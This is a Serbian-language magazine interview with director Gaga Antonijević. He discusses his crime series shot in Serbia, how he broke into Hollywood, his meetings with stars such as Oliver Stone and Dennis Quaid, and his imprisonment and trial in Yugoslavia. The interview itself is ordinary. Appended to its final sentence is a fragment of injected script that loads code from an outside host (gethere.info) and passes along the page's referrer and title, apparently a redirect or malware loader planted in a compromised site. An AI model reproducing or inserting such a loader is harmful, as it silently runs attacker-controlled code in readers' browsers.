INTERVJU, GAGA ANTONIJEVIĆ: Kako sam preko zatvorske ćelije uspeo u Holivudu

INTERVJU, GAGA ANTONIJEVIĆ: Kako sam preko zatvorske ćelije uspeo u Holivudu


Samica je čudno iskustvo. Taj način izdržavanja kazne nije napravljen da te neko slomi, nego da ti sam sebe lomiš. Oni ti samo daju ponude

U “Maderu” ulazi hodom i pokretima Voltera Hila, pomalo zakamufliran panama šeširom, svestan da mu dobro stoji jer ga čini holivudskim filmadžijom. Ono što sledi je srpski meni: čorbast pasulj, svadbarska salata od slatkog kupusa i ljute papričice. Roze je francuski.

Sa najlepšim sećanjem na Fani Ardan koju je celog života želeo da osvoji. Na nekoj večeri joj se čak i “upucavao” uz prećutnu dozvolu raspoloženog Džeremija Ajronsa, sve dok mu raskalašna nemačka grofica nije sela u krilo. Toliko joj se bio dopao “Spasitelj”. Mogao je jedne noći da svrati i do već umornog Marlona Branda, ali mu se nije išlo. Zašto verujemo da ćemo tako nešto uraditi drugi put?! Ima mesta kajanju.

Dok zaustavljamo taksi, nagovara me da stavim naslov kako bolje kuva nego što režira jer mu je jednom davno slična štih proba donela mnogo poena kod žena.

Došao si čak iz Amerike da snimaš krimi seriju u Srbiji, u kojoj svakog dana ima više pobijenih nego nekada u partizanskim filmovima.

– Kada jednom godišnje dođem ovde na odmor pokušam da gledam televiziju, ali, kako izgleda, tih bazičnih žanrovskih sadržaja u domaćem serijskom programu nema.

Zar je stari dobri TV sa sve moćnijom produkcijom bolje rešenje od Holivuda, s obzirom na to da se smrtonosna svakodnevica odigrava isključivo u nastavcima?

– Pošto kod nas do sada toga nije bilo, došlo se do ideje da se takav format uvede na televiziju. Nataša Drakulić i ja smo napisali scenario u kome smo jedno ubistvo provukli kroz deset epizoda. Žanrovski je to najbliže američkoj seriji “True detective”. Znači, ubistvo je u prvom planu, a naš inspektor, koga igra Vuk Kostić, pokušava da ga reši sa svojom ekipom. Ispod toga je i socijalna analiza društva i sistema u kome živimo. Imam sjajnu glumačku ekipu, fenomenalne tehničare i odličnog mladog snimatelja Miloša Kodema. Očigledno je da su svi ti ljudi radili za strane produkcije koje su ovde snimale, tako da lično nemam osećaj da nisam u Americi.

Gaga Antonijevic (8)Čovek prvo mora da pobedi sopstveni ego da bi u Americi bilo šta uradio. Tu sam se sa sobom najviše borio. Za razliku od Kluba književnika, gde te svi znaju, tamo odeš u kafanu i ne možeš da dobiješ sto…

Zato i panduri imaju dobre noge?

– Nekoliko tih policijskih muških uloga pretvorili smo u ženske, što me raduje. Mira Karanović je direktorka policije, Ivana Dudić igra policajku, a forenzičarka je Nina Janković. Tu su još i Nataša Ninković, Katarina Radivojević, Slavko Štimac, Nebojša Glogovac, Uliks Fehmiju, Dragan Mićanović, Marko Janketić.

Da li ti uopšte znaš kako izgleda srpska policija?

– Moram priznati da ne znam. Nisam u skorije vreme imao bliskih susreta sa njima. Radimo po američkom principu: naracija je dinamičnija, a postavka kadrova agresivnija.

Hoće li makar TV ubistvo biti rešeno, pošto se naša prava policija već dugo baš i ne ističe?

– Hoće. Originalni naslov serije je “Fioke i fascikle”. Ubistvo je samo povod da mnoge stvari isplivaju na površinu.

Koliko je teško praviti triler, a da ne deluje blesavo i trapavo?

– Po odlasku u Ameriku krimi literatura mi je služila za zabavu i relaks. Pročitao sam sve relevantne knjige na tu temu. Čak sam i Elmora Lenarda, najvećeg američkog pisca krimića, lično upoznao i dao mi je prava na svoju knjigu “Unknown man N0 89”. Sreli smo se u Birmingemu blizu Detroita. Stariji gospodin, skroz kul, vrlo fin i normalan. Sam se ponudio da mi ustupi taj karakter. Posle je Foks uradio “Justified”. Manje-više sve što je taj čovek napisao je ekranizovano.

Ostao si pravi štreber?

– Jesam. Krimići su mi vremenom postali vrlo bliski. Poslednja dva filma koja sam radio u Americi spadaju u supernaturalni triler. Pošto u tom žanru plivam, bilo mi je stalo da ga ovde uvedem, pogotovo što nije gajen, za razliku od takozvanih umetničkih filmova.

To što srpskog filma nema u Holivudu ni po jada, ali ga nema ni u Srbiji. Niko neće da gleda teme koje ne interesuju ni same autore.

– Kao da su pravljeni za neke strane fondove ne bi li se dobila neka crkavica, što donekle razumem. U isto vreme, srpska komedija je bila potpuno zapostavljena, ali recimo “Mali Budo” je briljantno napisana i holivudski izvedena priča. Drugo, kod nas odavno nema ni prave romanse, pa čoveku dođe da poželi nekog Čalića.

Jel’ te zvao neko od političara kada se pročulo da im diraš u policiju?

– Niko.

Ni ministar?

– Ne, mada smo tražili njihovu asistenciju u rekvizitima: tehniku, policijska kola i sve što uz to ide. Kako nisu bili raspoloženi da pomognu, sami smo pravili policijske automobile, a i uniforme smo dizajnirali. Liče na neku stariju, milicijsku verziju. Mogu da ih razumem. Stara vlada više nije važila, a mi nismo imali vremena da čekamo novu.

S kojim policijskim “glavonjama” si dobar?

– Nisam se nešto mnogo s njima družio, ali znam neke ljude iz SAJ-a, BIA i nekoliko inspektora.

Koliko ti je reč dijaspora odvratna ili nisi naročito gadljiv?

– Nisam uopšte gadljiv. Činjenica je da sam Srbin koji živi u Americi. Ako je dijaspora pojam koji to obeležava – taj sam. Nisam Amerikanac. I dalje sam aktivni deo naše zajednice u Los Anđelesu. Odem u crkvu za veće praznike jer je to jedini način da vidim neke drage i divne ljude, budući da sam u drugom poslu koji se ne poklapa sa njihovim. Da li sebe smatram Srbinom na privremenom radu u Americi? Verovatno ne. Tamo gde sam najduže živeo ću nadam se i ostati. U svom Užicu sam bio do sedamnaeste, posle sam u Beogradu proveo petnaest godina, a u Americi sam već dvadeset i pet.

I veći evropski narodi se tamo teško snađu. Šta si ti to imao osim dobrog stomaka?

– Stomak jeste važan, ali ima jedna bitnija stvar. Čovek prvo mora da pobedi sopstveni ego da bi u Americi bilo šta uradio. Tu sam se sa sobom najviše borio. Za razliku od Kluba književnika gde te svi znaju, tamo odeš u kafanu i ne možeš da dobiješ sto. Najviše vremena proveo sam pokušavajući da shvatim da je to velika zemlja sa mnogo talentovanog sveta.

U LA je toliko lepih i talentovanih da ih moraju sklanjati lopatama?

– Sve dok ti ego zamagljuje pogled nisi u stanju da vidiš stvari kakve jesu. Amerika voli racionalne ljude.

Srbi to odavde drugačije vide. Lako ti je kad si se dobro oženio i udomio?

– Naravno, i to je deo priče. Imam sjajnu, talentovanu i uspešnu ženu. Sto godina smo zajedno. Jel’ te interesuju detalji? Kada sam prvi put došao iz Amerike, dao sam intervju tadašnjoj “TV reviji” i novinara Dragana Gajera zamolio da naslov bude “Izdržava me žena”. Bio sam poneo nešto para, nekoliko puta je izgledalo da će mi krenuti, ali nije. Za ta četiri meseca potrošio sam svu lovu jer sam se ponašao kao u srpskim bircuzima. Onda sam se u februaru ’92. vratio da razmislim o svemu. Šetam tako i sam sebi kažem: “Ako misliš da si reditelj, kreni tamo, pa makar i zaginuo.” U međuvremenu sam upoznao Kristinu Esel. Družili smo se, zabavljali i uzajamno muvali. Dopadala mi se. A to da volim isključivo starije žene, to svi znaju. Sedam godina mi je donja granica. Bilo nam je lepo zajedno, ali nismo pravili nikakve planove. Kad sam otišao, ona zove: “Što se ne vratiš?” Ja rek’o: “Nemam više para, a da radim kao konobar, to neću.” “Nema problema, ja ću da te izdržavam, a ti juri tvoju režiju.” Pristanem, ali uz uslov da posle izvesnog vremena ne bude ono: “Jao, šta sam ja za tebe učinila.”

U Parizu je i Katrin Denev na tebe bila bacila oko?

– Nije ona. A bilo ih je. I njenog i još jačeg ranga. Naravno, i ja sam bio brži i mršaviji.

Stvarno ne moramo da džaramo po intimi, ali ti uvek imaš neku devojku?

– Hajde, reci koja je. Videćeš da kasniš!

Give me five! Kako izgleda kad dođeš kod Semjuela Goldvina?

– Jedan moj drugar Zoran Otašević je film “Mala” pokazao nekoj ženi koja se bavila prodajom. Ona ga je odnela Goldvinu i ispostavilo se da takva emocija tamo funkcioniše. Tražili su da, ako mogu, postanem srpski kandidat za Oskara jer bi im to onda dalo mogućnost da ga marketinški poguraju.

Gaga Antonijevic (7)Poznavao sam Magi sa fakulteta, a njen otac mi je bio mentor, ali nisam bio deo te gradske ekipe. Ja sam išao da slušam Tomicu Zdravkovića. Ono što je “Ekatarina Velika” tada radila nije mi značilo ništa. Moj provod su bile kafane i narodnjaci

Naše glupo pitanje kada ćemo dobiti Oskara postalo je toliko deplasirano da ga više ne treba ni postavljati?

– Po meni, jedini film koji ga je mogao osvojiti je “Bal na vodi” Joce Aćina. Za ono vreme idealna tema: fini klinci iz građanskih porodica koji beže od komunizma, plus dirljiva ljubavna priča. Prikazan je u preko što pedeset bioskopa u Americi. Što je najlepše, glasao sam protiv tog filma, misleći da je limunada. Tek kada sam došao u Ameriku shvatio sam koliko sam se zajebao. Ispao sam majmun jer sam mislio da sve znam.

A da vratimo malo priču?

– Živim tamo, srećom plaćeni su mi računi i renta, žena brine o meni. Ona jeste radila u “Paramauntu”, ali nije imala nikakve veze sa produkcijom, tamo je to ozbiljno podeljeno. Morao sam da nađem druge načine da dođem do pravih ljudi. Krenem da jurim na sve strane. Čujem da drugarica moje drugarice radi kao sekretarica Endija Garsije i da će biti na nekom partiju. Moram da se pojavim. Nema mi druge. Tada sam, da zlo bude veće, imao ozbiljne zdravstvene probleme. Zakačio sam Epštajn-Barov virus. Sindrom hroničnog zamora. Peške nisam mogao da pređem ni dvadeset metara. Stavim u auto pet košulja da ih usput promenim jer sam se ludački znojio i – teram. Kris nije mogla uvek da me prati pošto je morala krvnički da radi. Ali uspela je nekako da me poveže sa Ejsijem Lajselom, starim producentom, nekadašnjim Reganovim prijateljem koji je u svoje vreme radio vesterne B klase. Po jednom je čak snimljena čuvena serija “Deadwood”. Kad sam ja stigao do njega, imao je preko devet banki, nije producirao ništa poslednjih trideset godina, ali je bio maskota “Paramaunta”. Prva rečenica: “Koga ti znaš u Holivudu?” Sidnija Polaka. Sreo sam ga na ulici, popričao s njim, pitao me za Stevu Konja. Majkla Daglasa. Upoznao sam ga kod Den Tane u kafani. Nabrojim još tri, četiri imena. “A ko tebe zna?”, zvoni sledeće pitanje. Shvatim da ni Sidni, ni Majkl ne bi mogli da me se sete da ih postaviš pred streljački vod. Tad sam okrenuo ploču. Imao sam doduše i susret s Bobom Evansom, koji takođe nije vodio ničemu. Mozak mu je bio pojeden od droge i alkohola, ali me je za Bekima Fehmijua pitao bar deset puta.

Pričalo se da na Nikolsonovom imanju živi u kući za poslugu?

– Tada je stanovao blizu mene. Gledao je “Malu”. Pusti prvu rolnu, zaustavi na pola druge i pogleda me: “Imaš li šta da pokažeš?” Onda traži četvrtu rolnu, stane na pola pete, pa vrati drugu i tako odgleda ceo film. Na kraju zaključi da se vidi da znam sa glumcima, a i gde da stavim kameru i da ću sigurno snimiti film u Holivudu. Prođu dve godine, on napiše knjigu, kupim je i u knjižari čekam u redu na autogram. Kad sam stao ispred njega, pita kako se zovem. Kažem Gaga, a računam kako smo onomad proveli četiri sata zajedno, valjda će me se setiti. “Žaža”, reče i napisa mi posvetu. Prošle su još četiri godine. Neki važni ljudi priređuju večeru i hoće da prikažu “Spasitelja” svojim gostima u maloj privatnoj bioskopskoj sali. Odem sa ženom i filmom pod miškom. Posle projekcije za nas osmoro, dolazi još trideset ljudi na koktel. Odjednom, neko preskače živicu sa čašom viskija u ruci. Bob Evans. Sednemo za sto, ja ništa ne govorim, pošto sam naučio da ćutim. Završi se večera, odemo na skrining, odgledamo “Spasitelja”, a Bob će: “Bravo! Čestitam. Odličan film.” Napravi pet koraka, vrati se, i doda: “Izgleda da ste Srbin. Da li poznajete reditelja Žažu?” “Poznajem ga jako dobro.” “Šta radi? Pravi filmove?” “Da, snimio je nešto.” “Znao sam” – pobedonosno uzvikne. “Vrlo je talentovan.”

Priznaj da si sve izmislio. Umeš baš lepo da lažeš. Filmski.

– Nisam, života mi. U Holivudu moraš da nađeš ljude koji imaju upliv u sistem. To može da bude i neko za nas bezimen, ali otvara vrata i omogućava da se scenario pročita. Jednom je za dlaku falilo da mi “Kolumbija” otkupi neki triler.

Nisi imao agenta?

– Na osnovu čega? Nikog ne interesuješ. I onda iz neobjašnjivih razlog dobijem poziv da dođem na Prvi šangajski filmski festival. Plaćaju ženi i meni karte u biznis klasi i petnaest dana boravka. Tamo sam upoznao Dženet Lang, koja je sa Kinezima gledala “Malu”. Žene teturajući se i plačući izlaze iz sale. Ona zaključi da bi trebalo da snimimo film o bosanskom ratu. Prošla su još tri meseca dok Oliver Stoun nije pogledao “Malu”. Čuo sam da je samo rekao: “Ovaj može da radi.” Uskoro mi stiže scenario. Otvorim, ono obična splačina od teksta. Cele noći ne spavam, ali ne vidim način da ga popravim. Sutradan ih pozovem i kažem: “Hvala, ovo nije za mene.” Mislio sam da se više nikada nećemo čuti. Stouna sam upoznao tek kada je stvar postala izvesna. Stignemo kući. Sednem pored njega, on nešto priča, ja ništa ne pitam. Kad zafali vina, priskočim i natočim. Tako tri, četiri puta. I na tome se završi. Danas smo veliki prijatelji. Voli da u društvu kaže kako je “Spasitelj”, posle njegovih filmova, najbolji film.

Da nastavimo u tvom stilu – Denis Kvejd te je nahvatao dok si se vraćao s pijace?

– Oliver mi je javio da su nađeni finansijeri i da traže sastanak sa mnom. Tada sam bio ovde, rešen da se malo duže zadržim, pogotovo što mi je otac išao na neku operaciju. Čim sam sleteo, obaveste me da je umro. Opet nazad. Na kraju se vratim u LA i počnemo da tražimo glavnog glumca. I Met Dejmon je bio u igri, ali nekako mi nije pasovao. I tako, vraćam se s pijace i čujem da mi zvoni kućni telefon. Kris digne slušalicu: “Ovde Denis Kvejd.” Kad sam raspremio cegere, javim mu se. “Dolazim.” Nadao sam se samo da se neće prenemagati kao holivudska zvezda, pogotovo što sam ga upoznao tek na beogradskom aerodromu, tri dana pred početak snimanja.

Da li bi imao takvu biografiju da nisi bio u zatvoru?

– To je bio najkorisniji događaj u mom životu. Opremio me za Ameriku. Do tada sam bio malo leteći, prilično nadobudan, sve dok me nije klepilo. Tri i po godine bez pasoša, zbog “izbegavanja vojske”.

Pritom je tvoj otac Petar Antonijević bio lokalni budža.

– Nije tada bilo različitih partija, ali jeste frakcija. U jednom od tih obračuna zaglavio sam kao kolateral.

Kakav je stvarno bio Krcun?

– Nisam ga nikada sreo. Poginuo je kada sam imao četiri godine, na putu za Užice, gde je moj otac bio predsednik opštine. Znao sam Peru Stambolića, Dražu Markovića, svuda se vrzmaš, pa upoznaš takve likove. Ne znam kako je ovde danas, ali u ono vreme je ta ekipa izazivala strahopoštovanje. Svi su se plašili sistema. Niko se nije zajebavao.

Nikada nisi pobegao od kuće, znao si matematiku i divno si recitovao?

– Išla mi je škola. Bio sam redovan na takmičenjima iz matematike. Imao sam i tu žicu. A danas, evo, ne umem dva broja u glavi da pomnožim. Prvo sam naučio da čitam latinicu, zbog filmova, pošto me je tetka kao malog nosila u bioskop. Gledali smo ono što je ona volela: Serđa Leonea, Herkulesa, Afroditu, boginju ljubavi i špageti vesterne. Onda sam upisao arhitekturu zato što me je majka molila da ne idem u filmadžije. Posle mesec dana shvatim da to nije za mene i da mi se ne sviđa. Znao sam isto tako da ne mogu tek tako da napustim studije da mi majka ne bi posle zvocala. Mama Olga je bila i ostala šef. Dam celu prvu godinu u junu i položim prijemni na režiji. Na arhitekturi mi je koleginica bila Margita Stefanović. Njen sto za crtanje je bio preko puta mog.

Fascinirala te je kao i sve momke koje bi samo pogledala?

– Zamisli, ne. Drugačije sam je doživljavao. Nije tako na mene delovala, ali mi je bila mnogo draga. Oni su bili gradska ekipa kojoj ja suštinski nisam pripadao. Ipak sam ja zlatiborsko biće. Nije to bio moj film. Ja sam išao da slušam Tomicu Zdravkovića. Ono što je “Ekatarina Velika” tada radila nije mi značilo ništa. Moj provod su bile kafane i narodnjaci. Zanimljivo je da mi je Margitin otac, Slava Ravasi, bio mentor na diplomskom. Ona i njeno društvo su se tek kasnije prema meni malo raskravili. Kada sam je prvi put video na fakultetu, ispalim najgluplje pitanje: “Jel’ se mi znamo?” A ona kao iz topa: “Jesi li ti onaj što na dočeku Nove godine na Zlatiboru prvi pade?!” Izbila je bila neka, tuča, ja krenuo u WC, neko me tako roknuo da me oborio pravo njoj pred noge.

Amerikanci će radije uzeti Meril Strip da govori sa italijanskim akcentom nego Miru Furlan koja je bila u najužem izboru za “Mostove okruga Medison”

Nisi umeo da se šibaš?

– Kako nisam?! Bio sam malo agresivniji kad sam bio mlađi. Nisam zazirao ni bežao od tuča. Znao sam gotovo sve beogradske žestoke momke, mada se nisam s njima družio. Gišku sam sreo dva dana pre nego što je otišao u Gospić gde je poginuo.

Kako to da te tata nije spasao ćorke?

– Nije mogao. Ušao sam u lavirint i dobio pedeset i sedam dana samice.

Zato što si hteo da izbegneš vojsku ili zbog toga što je neko iz Saveza boraca hteo da razbije televizor dok je gledao “O pokojniku sve najlepše”?

– Nije da nisam hteo. Imao sam jak razlog.

Koji?

– Nije šala. Isključi to pa ću ti reći.

Dobro, evo, ja ću. Pričalo se da si dobio tuberkulozu. Dovoljno da te oslobode vojske.

– Jeste, samo što su meni pokušali debelo da nameste.

Dobar sam prijatelj sa Džonom Karpenterom, koji mi je velika fascinacija. Retko izlazi iz kuće, ali kod mene dolazi da pojede kad nešto spremim

Da trguješ oružjem?

– Samica je, bogami, čudno iskustvo. Taj način izdržavanja kazne nije napravljen da te neko slomi, nego da ti sam sebe lomiš. Oni ti samo daju ponude. A ti se osećaš kao magarac između dva plasta sena. Bar desetak puta su me izvodili na saslušanje da me šikaniraju i maltretiraju. Na prvom suđenju sam oslobođen jer su oni uhvaćeni u laži. Tužilac se žalio, presuda je poništena i zakazano je novo suđenje. Za to vreme ja skupljam pare za film “Mala”, od te iste države koja me tuži. Jedino što nisam hteo je da ispadnem žrtva. Uhapšen sam usred snimanja serije “Balkan ekspres 2” koju sam režirao. Od tada mi je bio zabranjen ulazak na televiziju. Paradoksalno, ali na kraju mi je najviše pomogao Dušan Mitević da dobijem pare za “Malu”. A onda još jedan udarac. Zakazuju novo suđenje tačno na dan početka snimanja. Poludeo sam. Srećom pa se neko iz ekipe razboleo. Uglavnom, bilo je jasno da nemaju osnova da me osude, pa pošto nisu znali šta sa mnom da rade, počnu da falsifikuju. Na kraju se kao svedok pojavio istražni sudija, što baš i nije po zakonu i iz čista mira rekao kako sam prodavao oružje Jordanu. Skočim kao oparen i počnem da se derem toliko da je sagnuo glavu.

Nije ti bio neophodan Holivud da bi udario o ledinu?

– Tek tamo je tvrdo. Pogotovo glumcima koji se takmiče u jednom uskom segmentu biznisa. Amerikanci će radije uzeti Meril Strip da govori sa italijanskim akcentom nego Miru Furlan koja je bila u najužem izboru za “Mostove okruga Medison”.

Jel’ moguće da si ti naš najuspešniji čovek u Holivudu?

– Ima ljudi koji su ozbiljni, kao jedan naš dečko iz Herceg Novog koji je snimatelj A lige, dok ja nisam režiser tog ranga. Vrlo je teško napraviti tranziciju. To ne može poći za rukom ni svakom Nemcu, Englezu ni Francuzu.

Ko sada tebe poznaje?

– Dosta ljudi jer mi je tamo život.

Daj bar neku njušku.

– Dobar sam prijatelj sa Džonom Karpenterom, koji mi je velika fascinacija. Retko izlazi iz kuće, ali kod mene dolazi da pojede kad nešto spremim. Kuvam bolje nego što režiram.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

+ Trenutno nema komentara

Dodajte komentar